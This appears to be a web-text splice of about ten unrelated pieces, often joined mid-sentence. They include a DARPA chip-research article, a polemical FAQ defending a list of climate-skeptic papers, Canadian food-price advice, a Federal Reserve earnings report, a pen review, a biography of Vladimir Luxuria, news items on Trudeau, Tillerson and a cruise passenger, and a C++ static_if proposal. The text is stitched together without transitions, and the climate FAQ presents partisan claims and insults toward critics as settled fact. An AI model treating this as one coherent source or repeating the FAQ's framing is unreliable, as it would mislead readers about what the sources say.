Moore’s Law, the engine that has driven the electronics industry for the past 50 years, is running on fumes. But DARPA, the US Defense Advanced Project Agency, is looking to refill the gas tank with new research initiatives, backed by a $216 million investment.
That investment is being funded under something called the Electronics Resurgence Initiative (ERI), a program being run out of the agency’s Microsystems Technology Office (MTO). Although the MTO has its hands in a number of research programs looking to advance electronics technology, the ERI is specifically aimed at workarounds for Moore’s Law. Currently there is $141 million dedicated to the ERI work in FY18, and last week DARPA allocated an additional $75 million.
The DoD has every right to be concerned about the dwindling prospects for Moore’s Law. Not only is it getting more technically difficult to reduce the size of transistors with conventional semiconductor technology, but the cost of doing so is escalating rapidly. Today’s newest fabs cost several billion dollars to build and that number will rise as transistor geometries get smaller. That means you need increasing chip volume to make construction of such facilities economically feasible. And this has made it even more problematic for the small-volume, high-performance chips that the defense sector relies on for everything from supercomputers to jet aircraft defense systems. “The current trajectory is straining commercial and defense developments,” said MTO director Bill Chappell.
ERI is aimed at three main areas: materials and integration, circuit design, and system architecture, spread out over six new programs. For the purpose of this article, we’re going to focus on the first one, material and integration, since this is the one aimed most closely on building a new foundation for electronics scaling that could pick up where Moore’s Law left off. There are two new programs in this area, the Three Dimensional Monolithic System-on-a-Chip (3DSoC) program, and the Foundations Required for Novel Compute (FRANC) program.
Taking them in order, the 3DSoC, as you may have surmised from the name, is focused on developing 3D chips, thus adding a third dimension to scalability. The program’s mission is summarized thusly:
The goal of the 3DSoC program is to develop the 3D technology required to build logic, memory and I/O on a single die while improving the performance by >50X when compared with 2D 7nm technology. 3DSoC seeks to leverage current industrial and university research in monolithic 3D processes and propel research in the areas of 3DSoC design tools and novel architectures that can be utilized to build highly efficient computation systems.
The main advantage of 3D chips is that they can significantly reduce data access bottlenecks between the logic, memory, and I/O. As is pointed out in the 3DSoC solicitation, for typical deep learning applications, 80 to 90 percent of execution time is spent accessing memory, while only 10 to 20 percent is spent computing. And that’s for a state-of-the-art deep learning accelerator that has been optimized for bandwidth-intensive applications. According to DARPA, the numbers would be even more skewed for a general-purpose processor.
Placing memory and logic chips in the same stack means that you can achieve bandwidths as high as 40 terabytes per second, which is about 100 times faster than what can currently be achieved with the best 2D chips and memory systems. In fact, a 50-fold performance improvement can be demonstrated with simulations of deep learning application when comparing 90nm 3D chips with 7nm 2D chips. That performance improvement jumps an additional 10-fold or so when you use 7nm 3D chips. The added bandwidth, courtesy of the 3D design, offers a huge advantage on these data-intensive codes.
The 3DSoC effort involves coming up with EDA tools and fabrication processes that can be used to manufacture these devices, and then being able to demonstrate high-yield production of such chips for the DoD. The program will run in three phases for a total of 42 months, and is scheduled to end in 2021.
The second materials and integration program, FRANC, sounds even more ambitious. Instead of relying on the traditional semiconductor technology and von Neumann architecture, as is the case for the 3DSoC program, FRANC is aimed at non-von Neumann designs and new types of materials. Its goals are summarized as follows:
The purpose of the FRANC program is to provide the foundation for new materials technology and new integration approaches to be exploited in pursuit of novel compute architectures. The program aims to develop alternate compute topologies that change the compute paradigm from discrete memory and processing to architectures that enable processing to happen where the data is stored with structures that diverge dramatically from conventional digital logic processors, thus allowing for more dramatic gains in compute performance while minimizing the challenges associated with vertical integration.
Examples of this include processors that incorporate memory, and vice versa, as well as logic components that are optimized for NP-hard problems, advanced |
peer-review process of submitting a comment for publication in the same journal, which allows the author of the original paper a chance to publish a rebuttal in defense of their paper. The list includes any rebuttals to published critical comments following the original paper, these are italicized and proceeded by an asterisk ( * ) so they are not confused with the counted papers.: The list includes a small number of valid papers which also contained minor errors that have since been corrected and did not affect the original paper's conclusions. The scholarly peer-review process is not infallible and errors are sometimes not caught until after the post-publication peer-review process when a larger volume of scientists have had a chance to read a paper. Science is a self-correcting process and publishing corrections to papers is the standard method to do this in the scholarly literature. Corrected papers are never removed from scientific bibliographic resources like retracted papers and they will continue to be cited. The only difference going forward is they should be cited alongside the published correction. This list contains any supplemental papers that include corrections or erratum which are listed following the original. Supplemental papers are preceded by an asterisk and italicized so they cannot be confused with the original paper. In some cases, such as Lindzen and Choi (2009) the authors were unable to get a correction published in the original journal and instead had to publish their correction elsewhere - Lindzen and Choi (2011). As expected, the original paper - Lindzen and Choi (2009) continues to be extensively cited over 125 times : Cherry picking papers from the list and misrepresenting why they were included is disingenuous. Most people attempting this make invalid assumptions for why a paper was included and then come to a false conclusion about the entire list. In all cases these cherry picked papers have been shown to support a skeptic argument against Alarmism when challenged. A " Highlights " section is specifically included to provide a more accurate sample using papers that make clear skeptic arguments that cannot be misinterpreted.: This is a strawman argument, as the list not only includes papers that support skeptic arguments against ACC/AGW but also. Thus, a paper does not have to argue against AGW to still support skeptic arguments against alarmist conclusions (e.g. Hurricanes are getting worse due to global warming). Valid skeptic arguments include that AGW is exaggerated or inconsequential, such as those made by Richard S. Lindzen and John R. Christy : This is a strawman argument, as no paper on the list argues that the climate does not change.: This is a strawman argument, as no paper on the list argues that there has not been a global temperature increase of a fraction of a degree since the end of the little ice age.: The existence of a criticism does not make it true. Rebuttals to published peer-reviewed criticisms of a paper are included on the list as supplemental papers following the original. These rebuttals either completely refute the original criticism or correct for legitimate errors and show that these do not affect their original conclusions. It is not reasonable to expect these authors to waste their time responding to every alarmist blog post or comment made against their paper(s) on the Internet. Yet, according to AGW proponents peer-reviewed papers that do not agree with their alarmist position on climate change are either wrong or do not exist. This bibliographic resource was created to correct this myth.: Not a single peer-reviewed paper that has ever appeared on this list has had its peer-reviewed status retracted. If any of these papers are retracted by the journal they were published in they will be removed from this list. This is explicitly stated in the Criteria for Removal : Hundreds of papers on the list have been read in full, while every paper's abstract and conclusion (when available) was read before it was listed. In cases where a paper was not written by a skeptic or support of a skeptic argument was not explicit in the abstract or conclusion, an independent summary by highly credentialed scientists, such as Sherwood B. Idso and Patrick J. Michaels was used or the paper was read in full.: The IPCC cited scholarly peer-reviewed journalonly represents 10% of the list. There are still over 1200 papers from 350 other journals on the list, including over 120 papers from: This is a dishonest ad hominem that attempts to misrepresent the entire list by cherry picking the peer-reviewed(JSE) and the two listed papers from it, which represent a negligible 0.1%. This list does not discriminate against scholarly journals based on dishonest ad hominem attacks. The JSE is a general interest journal that attempts to " provide a professional forum for critical discussion of topics that are for various reasons ignored or studied inadequately within mainstream science." This can include papers debating the scientific validity of controversial subjects like astrology ( Fuzeau-Braesch and Denis 2007 ) but defining a journal based on cherry picking a single paper from it is disingenuous since by using this same "criteria" the JSE can just as easily be defined as a "debunking astrology journal" ( McGrew and McFall 1990 ). Regardless, neither of these two papers on the list discuss astrology or any other controversial topic outside of climate change. While they (e.g. Deming 2005 ) have been cited in other scholarly journals referenced by the IPCC, such as Huang et al. 2008 ), Jaspal and Nerlich 2014 ) and Jaspal et al. 2013 ).: ESI (Essential Science Indicators), JCR (Journal Citation Reports), SCI (Science Citation Index) and WoS (Web of Science) are for-profit, commercial products of the multi-billion dollar Thomson Reuters corporation that indexes only 12,000 peer-reviewed journals (covering the sciences, social sciences, arts and humanities) using a subjective inclusion process. Whether a journal is indexed by them is irrelevant to the peer-review status of the journal or the scientific validity of a paper. There are thousands of completely legitimate peer-reviewed journals that are not included by them but are with competitors. For instance, Elsevier's Scopus indexes over 21,000 peer-reviewed journals.: No paper is listed without first confirming the journal is peer-reviewed. With all journals that are challenged as to their peer-review status, further confirmation is done using bibliographic databases from EBSCO, Scopus and Thomson Reuters. This detailed information is provided in the Journal Notes following the list.: Trade journals are defined by Scopus as, "" There are no journals on the list that match this criteria or are indexed in a scientific bibliographic database as a trade journal.: The criteria for reviewers is similar for all scholarly peer-reviewed journals. A journal's editor with assistance from the editorial board selects and recruits credentialed experts relevant to the subject matter of the paper being reviewed. It is common for reviewers to be academics at universities who volunteer their time for the advancement of science and in return receive a credential that is highly respected by the scientific community. Being independent volunteers, reviewers are not part of a journal's staff and can review for any journal. Impact Factor is a subjectively devised determination of popularity not scientific validity, that is widely abused and manipulated. This list does not discriminate against journals based on unscientific popularity metrics.: In over seven years, only one "co-author" (Russell Dickerson) has ever contacted the editor with any such demands and he was using strawman arguments ("") about why his paper [""] was included, despite it clearly stating in the disclaimer - "." It was not worth investing the time to defend the real reason for its inclusion, that it supports the skeptic argument for CO2 not being the sole dominant human forcing as the IPCC has argued so the paper was removed. The lead author of this paper, Roger Pielke Sr. never made any such demands and stated in an email to the editor that their paper argues against the IPCC. Roger Pielke Jr. has never contacted the editor requesting any papers be removed and various papers he authored, mainly relating to incorrect attribution of natural disasters are included on the list.: While this is not a list of scientists, hundreds of papers on the list were authored by skeptics. The most prolific authors on the list are all highly credentialed skeptical scientists, such as; Sherwood B. Idso, Richard S. Lindzen, Patrick J. Michaels, John R. Christy, Roy W. Spencer, S. Fred Singer, Robert C. Balling Jr., Willie H. Soon, Ross McKitrick, Stephen McIntyre, Sallie L. Baliunas, Indur M. Goklany, David H. Douglas, Nils-Axel Morner, Paul C. Knappenberger, David R. Legates, Robert M. Carter, Chris de Freitas, Craig Loehle, Craig D. Idso, Olavi Karner, Syun-Ichi Akasofu, Nicola Scafetta, Nir J. Shaviv, Henrik Svensmark and many more including; Alan Carlin, Arthur B. Robinson, Arthur Rorsch, Don J. Easterbrook, François Gervais, Frederick Seitz, Garth W. Paltridge, Lee C. Gerhard, Timothy F. Ball, Vincent R. Gray, William M. Briggs and Freeman J. Dyson.: Cherry picking the most prolific authors as representative of the entire list is misleading. ISI Highly Cited Researchers such as Sherwood B. Idso and Richard S. Lindzen will naturally be well represented on the list. While it had been independently verified by Needlebase that there were already over 1500 unique authors on the list in 2011 when it was only at 900+ papers.: Intellectually dishonest individuals who are incapable of accepting the existence of scholarly papers contrary to their alarmist ideology have chosen to smear the highly credentialed scientists who authored these papers with libelous ad hominem attacks - falsely implying they are corrupt. No remote evidence has ever been presented that shows a skeptical scientist has changed their position on an issue due to a funding source. While honest investigations have shown these attacks to be baseless: Are Skeptical Scientists funded by ExxonMobil? The problem with the corruption argument is that it implies that scientists and researchers who rely primarily on public funding for their climate work are not motivated to tailor their research to the beliefs and policy views of their funding sources. Yet, policy analyses have shown that public funding of science may be susceptible to producing biased results. Regardless, to claim a largely uncoordinated grassroots movement of skeptical scientists are winning the debate against a highly organized climate monopoly that has received over $79 billion in funding because they were granted a paltry $2 million a year from companies like Exxon-Mobil is beyond laughable.: There is no objective criteria that can be used to determine who is a "climate scientist". The field of climate science is a very broad discipline that includes scientists from a variety of backgrounds. Very few climate scientists have a Ph.D. in Climatology like skeptical scientist Dr. Patrick J. Michaels. Well known alarmist scientists such as NASA's Gavin Schmidt of RealClimate.org has a Ph.D. in Mathematics, Phil Jones the Director of the Climatic Research Unit (CRU) of Climategate fame has a Ph.D. in Hydrology, IPCC Chairman Rajendra Pachauri has a Ph.D. in Industrial Engineering and Hockey Stick author Michael Mann has a Ph.D. in Geology.: Just like the WGII and WGIII sections of the IPCC reports, peer-reviewed papers from social scientists and policy analysts are included in the list. These papers appear in the appropriate socio-economic sections (e.g. Socio-Economic ) separate from the physical science sections on the list. The most prolific authors on the list are physical scientists such as ISI Highly Cited Researchers Sherwood B. Idso and Richard S. Lindzen : It is explicitly stated in the disclaimer that, ": The phrase "AGW (Anthropogenic Global Warming) hypothesis" is used by scientists and can be found in the scholarly literature (e.g. Stern and Kaufmann 2000 Triacca et al. 2013 and Martin 2015 ).: The term "Alarmism" is used by scientists and can be found in the scholarly literature (e.g. Bradley Jr. 2000 Lindzen 2012 and Legates et al. 2013 ).: The term "CAGW (Catastrophic Anthropogenic Global Warming)" is used by scientists and can be found in the scholarly literature (e.g. Carlin 2011 Rose 2014 and Parker 2016 ) and is explicitly implied in the IPCC reports : The term "DAGW (Dangerous Anthropogenic Global Warming)" is used by scientists and can be found in the scholarly literature (e.g. Boehmer-Christiansen 2002 Singer 2010 and Lee 2015 ).: The editor's university education and later work with research scientists on scholarly peer-reviewed papers for topics such as environmental recycling, nuclear waste disposal and anthropogenic global warming is all the qualifications that are needed to compile a bibliographic resource like this. No specific climate science qualifications are needed since the papers are either written by a qualified skeptic (e.g. Dr. Richard S. Lindzen Dr. John R. Christy ), explicit to a skeptical position (e.g. " CO2-induced global warming: a skeptic's view of potential climate change "), or were already cited by and determined to be in support of a skeptic argument by highly credentialed scientists, such as Dr. Sherwood B. Idso Ph.D. Research Scientist Emeritus, U.S. Water Conservation Laboratory at CO2 Science and Dr. Patrick J. Michaels Ph.D. Climatology at World Climate Report - not the editor. The editor has been acknowledged in the scholarly literature as usefully contributing to published papers on anthropogenic global warming : This is complete nonsense, using this argument would mean magazines like Popular Photography (est. 1937 by Ziff-Davis publishing) were named to be misleading which is obviously ridiculous. The website was named out of the editor's love of technology and as an homage to some of his long-time favorite magazines -and: This is a dishonest ad hominem, as we have resources challenging 911 JFK and Moon Landing conspiracy theories.: This is a dishonest ad hominem, as the editors all support evolution theory but unlike extremists we respect individual's religious views and their right to hold them.: This is a dishonest ad hominem, as the editors are politically independent.: This is a reprehensible smear, as we believe the Holocaust happened and nothing like it should ever happen again.: This is a dishonest ad hominem, as we believe there is such a thing as a climate.: This is a dishonest ad hominem, as we believe the climate changes.: This is a dishonest ad hominem, as we believe there has been a global temperature increase of a fraction of a degree since the end of the little ice age.: This is a dishonest ad hominem, as we believe in the study and knowledge of the physical world and its behavior that is based on experiments and facts that can be proved known as science : This is a dishonest ad hominem, as we believe there is a scientific hypothesis called anthropogenic global warming (AGW).: Bibliographic resources that index academic work are not published in scholarly journals but rather by privately held companies. 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Other contributed articles and all forms of published correction may also be peer-reviewed at the discretion of the editors.Many popular journals like Nature frequently reject papers arbitrarily, "...each Nature journal has to decline many papers of very high quality " - Naturehas been around for over 65 years and their services are used by Colleges, Universities, Hospitals, Medical Institutions, Government Institutions and Public Libraries.(defined) "concern relating to a perceived negative environmental or socio-economic effect of ACC/AGW, usually exaggerated as catastrophic." defined ) "the attitudes and behavior of one who exaggerates dangers or always expects disaster." defined ) "a momentous tragic event ranging from extreme misfortune to utter overthrow or ruin."(defined) "is a term used to describe a type of peer-reviewed scientific document format in certain scholarly journals such as Nature." defined ) "are short reports of original research focused on an outstanding finding whose importance means that it will be of interest to scientists in other fields. These should not be confused with." defined ) "of or being scientific or scholarly writing or research that has undergone evaluation by other experts in the field to judge if it merits publication." defined ) "a piece of writing on an academic subject." defined ) "a word or phrase that qualifies the sense of another word; for example, the noun alarm is a modifier of clock in alarm clock." defined ) "a person who questions the validity or authenticity of something purporting to be factual []." (e.g. Richard S. Lindzen, John R. Christy, Sherwood B. Idsoand Patrick J. Michaels defined ) "to help to show something to be true." PDF ) ( PDF ) ( Why the impact factor of journals should not be used for evaluating research (PDF)Abstracts and summaries have been obtained from the journal or publisher's website and various indexes such as; ArXiv, Astrophysics Data System (ADS), Citeseer, CSA Illumina, Elsevier ScienceDirect, Energy Citations Database (ECD), IngentaConnect, JSTOR, PubMed, SpringerLink, Refdoc and Wiley Online Library.10-23-09 - 450+ Peer-Reviewed Papers12-13-09 - 500+ Peer-Reviewed Papers04-21-10 - 700+ Peer-Reviewed Papers06-20-10 - 750+ Peer-Reviewed Papers07-25-10 - 800+ Peer-Reviewed Papers01-14-11 - 850+ Peer-Reviewed Papers04-13-11 - 900+ Peer-Reviewed Papers05-17-12 - 1000+ Peer-Reviewed Papers07-23-12 - 1100+ Peer-Reviewed Papers02-12-14 - 1350+ Peer-Reviewed PapersThe editors at Popular Technology.net would like to thank Adam Jayne for his extensive assistance with compiling the list, Dr. Khandekar for his'Bibliography of Peer-Reviewed Papers ', Dr. Idso for his research at CO2 Science and Dr. Michaels for his research at World Climate ReportThe sliding Canadian dollar has become true dinner table conversation as it pushes the cost of what's on your plate ever skyward.
The effects of climate change on crop yields, currency fluctuations and other factors will add an extra $345 to the average household's annual grocery and restaurant bill, according to a forecast from the University of Guelph's Food Institute.
CBC Forum on rising food prices "We have to get back to the way our grandparents dealt with life. Grow what you can, preserve it and unfortunately, fresh fruit in the winter is becoming a luxury." — a comment from Kim Heffernan on the CBC Forum chat on rising food prices. Read the full discussion here.
But although that would bring that type of household spending up to $8,631, food distribution analysts and dieticians promise there are still ways to stick to a grocery budget — and a healthy diet.
Registered dietitian Andrea Miller suggests families expand their palates by choosing seasonal, and different, vegetables like cabbage to keep bills steady.
Seasonal vegetables are cheaper, because of the lower transportation costs — which is why root vegetables like turnips, parsnips, onions and carrots are still relatively affordable.
"You can buy less expensive cuts of meat, which may not be as tender, and then add these winter types of vegetables to make a stew in the slow cooker," the Whitby, Ont., dietician said. "And then make sure to freeze the rest for another meal or take it for lunch the next day."
Choose frozen veggies, not canned
Fruit and vegetables are an essential part of your diet, but because their prices are so vulnerable to the weather and the dollar, Miller recommends choosing frozen or fresh varieties. Vegetables are flash-frozen almost as soon as they're harvested, which means they have the same nutrients as their fresh counterparts, Miller said.
All that — and for half the price.
Canned goods, however, don't give you the same nutritional bang for your buck, she said.
"They're not terrible if you're selective."
Canned tomatoes and legumes are great, she said, as long you choose those without added salt. But other canned vegetables don't have the same nutritional value — and they're also likely high in sodium, she said.
The creator of Good and Cheap, a free, budget-friendly, e-cookbook, keeps her fridge and pantry filled with the staples she recommends in the book that became a viral sensation.
Most of that includes natural foods: flour, fruit, vegetables and more. Rather than buying a "box of pancake mix" that can only be used for one thing, Leanne Brown suggests buying whole foods than can be turned into countless different meals.
"Something that I really recommend for people is eggs," she said. "It's classic and beautiful and delicious — and it's useful in so many different ways."
Jars holding beans, oats and other staples line Brown's pantry, things she can combine with leftover veggies or protein for a cheap and healthy meal.
"I have a lot of things for flavour around. I have chili paste and soy sauce and a good thing of dijon mustard so that I can always make a dressing really quickly," she said. "I like to have those sorts of things that can last for a really long time, but also have a great deal of flavour... to make dried goods or other basic fruits or vegetables kind of sing."
Food shortages
Long-range solutions to food security in Canada, however, go beyond individual choices.
Some of the changes may need to happen in agribusiness and food production, University of Guelph professor Sylvain Charlebois said.
Right now, Canada imports more than 80 per cent of its fruit and vegetables each year, the majority of which comes from the U.S., according to the University of Guelph's 2016 Food Price Report.
"Importers are going to play a cat and mouse game," the food distribution professor said. "They'll be very careful, they'll be shopping around, they'll try to keep more suppliers in their books than ever before."
That will likely translate into some food shortages for Canadian consumers. If people won't buy $8 cauliflowers, grocers will drop their prices to get rid of what they have, and won't keep them in stock, Charlebois said.
Technically, it will save people money in the short term as grocers offload extra produce, but shortages of tomatoes, lettuce and various berries could become common if the dollar stays around $0.70 US this winter, the distribution expert said.
"You are dealing with perishable products and the last thing retailers want is excess inventory that isn't moving."
Investment opportunity
The floundering loonie could, however, be an opportunity for investment in Canadian food production, Charlebois said, something that would make the country less vulnerable to things like the 10-per-cent price jump seen in imported pasta and other processed goods this year.
Those spikes come amid Statistics Canada's release Friday, which found that food prices in December 2015 increased at 3.7 per cent in a year's time — or more than double the 1.6 per cent rate of overall inflation.
"A weaker loonie builds a stronger case for more processing in our country," Charlebois said. "If we are to talk about food sovereignty we cannot decouple agricultural output with food processing capacity — they go together."fed
WASHINGTON (MarketWatch) — The Federal Reserve announced on Monday it transferred a record $117 billion in earnings to the U.S. Treasury during 2015.
The transfer is nearly 21% more than the prior record of $96.9 billion, set in 2014.
The transfer includes $97.7 billion in remittances, a side benefit of the U.S. central bank’s earnings from its massive bond-buying purchases. The Fed’s balance sheet now totals $4.5 trillion.
In addition, the Fed transferred $19.3 billion to Treasury as required by the transportation spending measure signed into law late last year. That legislation mandated that the Fed’s capital surplus not exceed $10 billion.
Read more: House, Senate agree on long-term highway bill
Under Fed policy, residual Fed earnings are distributed to Treasury after covering expenses.
The remittances to the Treasury are made weekly.
The Fed could suffer losses on its Treasury holdings if interest rates rise sharply.Kaweco is the Swatch of fountain pens.
This week, I’m breaking away from budget pens to bring you a splurge option: the Kaweco AL Sport.
“Al” stands for aluminum–as you may remember from the periodic table–and that’s what it’s made of. Other than the material, everything abut it is identical to the plastic Kaweco Classic Sport. But the metal makes a difference in terms of writing experience, |
1 constituency was seen as a safe Communist seat, her election was not without difficulties, particularly after it was disclosed that she had been a sex worker for a time shortly after arriving in Rome due to the difficulty of finding a conventional job as a transgender individual. Clemente Mastella, the leader of the centrist UDEUR party (a fellow member of the coalition) called her "a ridiculous Cicciolina". Alessandra Mussolini, said, referring to Luxuria, that it was "better to be a fascist than a faggot" (meglio fascista che frocio).[7] However, Luxuria's name was placed second on the list of Communist candidates for Lazio, after party leader Fausto Bertinotti, which increased her chances of being elected (Italy uses a system of proportional representation).[2]
During the election, she and another candidate were attacked by a group of fifteen people, allegedly including Alleanza Nazionale politicians; they pelted her with fennel (in Italian finocchio, a word also meaning "faggot"). The politicians in question were suspended by AN; Luxuria criticized the police for the time it took for them to respond to the incident.[8]
Service [ edit ]
Her service in the Italian parliament got off to a rocky start, when in October 2006 Forza Italia MP Elisabetta Gardini insisted that she should not be allowed to use women's washrooms in the parliament building and called for the creation of a third washroom.[9] Gardini described finding Luxuria presence there as a "sexual violence"; and later faced condemnations from coalition deputies for displaying prejudice tantamount to racism. Luxuria declared that she had used the toilets for years and that using the male lavatory would engender even greater problems.[10]
In the 2008 election, the Re-foundation Communist Party joined a coalition of left-wing parties known as the Rainbow Left. However this group gained only 3.2% of the vote and lost all of its seats in parliament. Silvio Berlusconi's centre-right coalition swept to victory. Luxuria was not re-elected. Paolo Ferrero, then leader of the Communist Refoundation Party, said that he would be open to the idea of her returning to politics as a nominee for the 2009 European Parliament election after her win on L'Isola dei Famosi, but Luxuria said that she had no plans to re-enter politics.[4]
Gay rights [ edit ]
Luxuria has long been a strong advocate for gay rights and a participant in events promoting equality for homosexuals. She helped organize Italy's first gay pride festival in 1994 and continued her activism throughout her tenure as a politician; in May 2007, she took part in the second Muscovite gay pride parade.
She used her prominence in Italian politics once elected as a platform for advocating gay rights. In the lead-up to her election, Luxuria made gay rights an issue of her campaign and felt herself to be a representative of the LGBT community, saying, "We don't want privileges – we want our rights." In addition, Luxuria called for civil unions to be enabled for gay couples and for Italy to accommodate political asylum for "all gays who try to get into Italy from countries where homosexuality is punishable by death".[3]
Luxuria also campaigned prior to the elections for gays to have cohabitation rights, and had helped campaign by winning the support of Italy's left. Furthermore, Luxuria outlined her long-term support for full gay marriage rights, comparable with Spain's implementation of the law.[11] In September 2006, she stated that the Vatican's ongoing influence in politics, specifically in regards to gay marriage, contravened clauses of the Italian Constitution.[11] Luxuria reacted to Pope Benedict XVI's end-of-year speech in 2008, when he compared protecting the environment with saving humanity from a "blurring of gender" (homosexual or transsexual behaviour), by saying that such comments were "hurtful".[12]
Filmography [ edit ]
Theater [ edit ]
Television [ edit ]
Bibliography [ edit ]
Discography [ edit ]
Der Traurige, in Hey Roma! (Klang Records - klg 003 - 1989)Prime Minister Justin Trudeau was in Brampton Thursday to announce the government’s new cross-Canada artificial intelligence (AI) strategy.
The 2017 federal budget rollout will include a $125 million investment in hopes of creating superclusters of research, global talent and firms operating in the field.
The announcement took place at Magna International Incorporated facility in the area of Steeles Avenue and Goreway Drive.
The strategy will promote collaboration between Canada’s superclusters and centres of innovation, including the Toronto-Brampton-Waterloo innovation super corridor.
In recent months Brampton has received a significant amount of attention from provincial and federal leaders. This is the Prime Minister’s third visit to the city in just six months and it highlights the importance of Brampton as an emerging innovation hub in Canada.
Brampton sits as the mid-way point between Toronto and Kitchener/Waterloo, putting the city in a unique position to further grow as an integral part of the super corridor.
Prime Minister Trudeau was on hand in October of last year for the official opening of Amazon’s Brampton facility which utilizes cutting-edge robotic technology as a core part of its operations.
Trudeau also stopped in Brampton just a few weeks ago for pre-budget discussions with local Members of Parliament and Mayor Linda Jeffrey.
As university planning continues, the city will no doubt be looking for further opportunities to grow Brampton as an innovation hub.
Comments
commentsPhoto via Flickr user shannonpatrick17. This story is from VICE News. See more and sign up now at vicenews.com.
One month from today, the world will celebrate the 25th anniversary of the Exxon Valdez oil spill, which dumped up to 750,000 barrels of crude oil into Alaska's pristine Prince William Sound. It was the largest spill in US waters until the Deepwater Horizon disaster in 2010.
In related news, Rex Tillerson, the CEO of Exxon Mobil Corporation, has joined a lawsuit to stop a 15-story water tower, to be used for fracking, from being built near his 83-acre Texas ranch. Tillerson and his fellow plaintiffs—among then former Republican House Majority Leader Dick Armey—argue that the proposed water tower would "devalue their properties and adversely impact the rural lifestyle they sought to enjoy." The plaintiffs state their ranches are all worth at least $1 million; Tillerson's in particular sounds wonderful, with "homes, barns, and a state-of-the-art horse training facility."
The lawsuit details the concerns Tillerson and his fellow ranch-owners have about fracking, including the noise, light pollution, and environmental harm they believe it will cause. They assert that the fracking will result in "undesirable development not in character with their neighborhood."
Oddly, Tillerson was quoted in 2011 criticizing "overzealous regulation" of the fracking industry. And in 2012, Exxon ran a $2 million series of pro-drilling newspaper and radio ads in New York.
Hydraulic fracturing—or fracking—is the process of drilling a mixture of highly pressurized water, chemicals, and sand into the ground to release deposits of natural gas. Exxon appears to think it's relatively harmless.
Unfortunately for Tillerson, the lawsuit will have little impact on the water tower, which is already 75 percent complete, according to Lloyd Hanson at Cross Timbers Water Supply Corporation—the company that supplies water to most of the surrounding area.
“It’s not the first water tower in the area," Hanson told VICE News. "And we’ve never gotten any sort of complaints from residents before."
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Ville Voutilainen
2015-04-07
Static if resurrected
Abstract
I want to bring back parts of static if; namely bring it back in a form where it's
restricted to block scopes.
always going to establish a new scope.
required that there exists values of the condition so that either condition branch is well-formed.
Why? Because it allows making static decisions without having to resort to multiple overloads. Having a static if allows for simple and local code, without having to know the intricacies of overload resolution, partial ordering and SFINAE.
Introduction
Richard Smith explained the following:
The "controversial" parts of N3329 are that: 1) it does not introduce a new scope, and 2) the non-selected branch is completely ignored (the tokens aren't even required to be parseable) This makes it fundamentally incompatible with the template model used by at least two major implementations. If, instead, it introduced a new scope (as proposed in this thread) and we had a requirement that it is possible to instantiate each arm of the static if (that is, the same requirement we have for other token sequences in templates), then I believe the over-my-dead-body objections from implementors would disappear.
So, the proposed static_if (perhaps we could get rid of the space, it avoids splitting the keyword onto multiple lines. Not everyone uses clang-format. Yes, people who don't are foolish, but anyway) should have the characteristics Richard outlined.
Motivation
As the first example, I find it unwieldy to do pack unpacking with multiple overloads.
template <class T> void f(T&& t) { /* handle one T */ } template <class T, class... Rest> void f(T&& t, Rest&&... r) { f(t); /* handle the tail */ f(r...); // I think I have a bug here if I don't have a zero-param overload }
It would be much simpler to be able to handle the unpacking in one function template, even though we're still writing recursive code.
template <class T, class... Rest> void f(T&& t, Rest&&... r) { /* handle one T */ static_if (sizeof...(r)) { /* handle the tail */ f(r...); // I don't need a zero-param overload to do this } }
Mutually exclusive constraints would also be arguably easier to grok. Instead of
template <class T, class... Args> enable_if_t<is_constructible_v<T, Args...>, unique_ptr<T>> make_unique(Args&&... args) { return unique_ptr<T>(new T(forward<Args>(args)...)); } template <class T, class... Args> enable_if_t<!is_constructible_v<T, Args...>, unique_ptr<T>> make_unique(Args&&... args) { return unique_ptr<T>(new T{forward<Args>(args)...}); }
we could write
template <class T, class... Args> unique_ptr<T> make_unique(Args&&... args) { static_if (is_constructible_v<T, Args...>) { return unique_ptr<T>(new T(forward<Args>(args)...)); } else { return unique_ptr<T>(new T{forward<Args>(args)...}); } }
Even if the enable_ifs above are turned into constraints, I daresay the single-function solution is much simpler. A "damn sight nicer", if you ask me.
I expect there are many more good uses for such a facility than I can imagine. I have heard users hinting at wanting to write a function template that can take both signed and unsigned integral types, and write different code for the signed and unsigned cases, without having to worry about either branch emitting diagnostics even if never being taken - and those users do not think they want to write multiple overloads for integral types, since getting something like that right may end up being a heroic endeavor...
Yes, but don't Concepts provide a superior alternative?
Yes, for expressing the constraints of a function template, they do. No, for simplicity and locality of code, they don't. It's certainly easier to write (mutually exclusive and other) constraints with concepts, since it's possible to overload on concepts. The lack of locality remains, and the need to understand overload resolution, partial ordering and SFINAE remains. I posit that there are many simple cases where all that is still overly complex when a simple block-scope static condition would do much better. Chances are, of course, that combining Concepts with a static_if can lead to expressive designs that are far superior to what either of these facilities can provide in isolation.
For the last part, it seems like some uses of static_if could combine rather nicely with constraint disjunctions:
template <typename T, typename U> void f(T, U) requires C1<T> && (C2<U> || C3<U>) { static_if (C2<U>) { } else if (C3<U>) { } }
Implementability
I fully expect the implementation difficulty of such a facility to be considerable, and it's certainly well beyond the capabilities of an intermediate front-end contributor such as myself. Is that cost worth the benefit of the facility? Hard to say. I guess it would be. :)
Teachability
Adding this facility will increase the overall complexity of the language, and since it's not identical or even very similar to the static if in D, it's not trivial to teach. I do have high hopes that it would be much simpler to teach for simple cases than using multiple overloads would be.A 57-year-old man has been kicked off a cruise for flicking a cigarette butt over the side of a boat during a dream holiday with P&O Australia.
Mark O'Keefe and his wife Debra left on the twelve day cruise to Bali from Freemantle on June 6.
The couple, based in Perth in Western Australia, had saved up for the holiday for a year but it was ruined from the moment Mr O'Keefe let the cigarette butt go over-board.
Debra, left, and Mark O'Keefe, centre, went on the holiday of their dreams only for it to be ruined five days in after Mark flicked a cigarette off the P&O Australia cruise ship they were on. His daughter Courtney, right, is angry with her father's treatment
Mr O'Keefe's daughter Courtney took to P&O's Facebook page to complain about the treatment of her father who had to leave the ship the next day.
'Saturday they were at a show dad stepped out on deck to have a smoke had 2 drags put it out and without thinking flicked it overboard,' Courtney wrote.
'Security pulled him aside dad apologised profusely and was told ''go back to your room sir and there will be no further repercussions'' so he did.'
But the next day there were further consequences to the split second butt-flick.
He was taken before the captain who deemed he had shown 'no remorse' for his actions and he would not be allowed to continue with the cruise.
The couple did not have enough money to fly home together so they had to part ways. Mrs O'Keefe was left devastated while her husband had to get home to Perth from Indonesia
'Mum and dad couldn't afford 2 plane tickets home so dad was left on his own on an island nobody has ever heard of!!!
'The ships staff organised transfers home,' the post read.
Except according to Courtney there were no transfers waiting for her dad once he got off the island.
'Dad arrives in Bali looking for his cab driver to the hotel 2 hours he waited nobody came there.
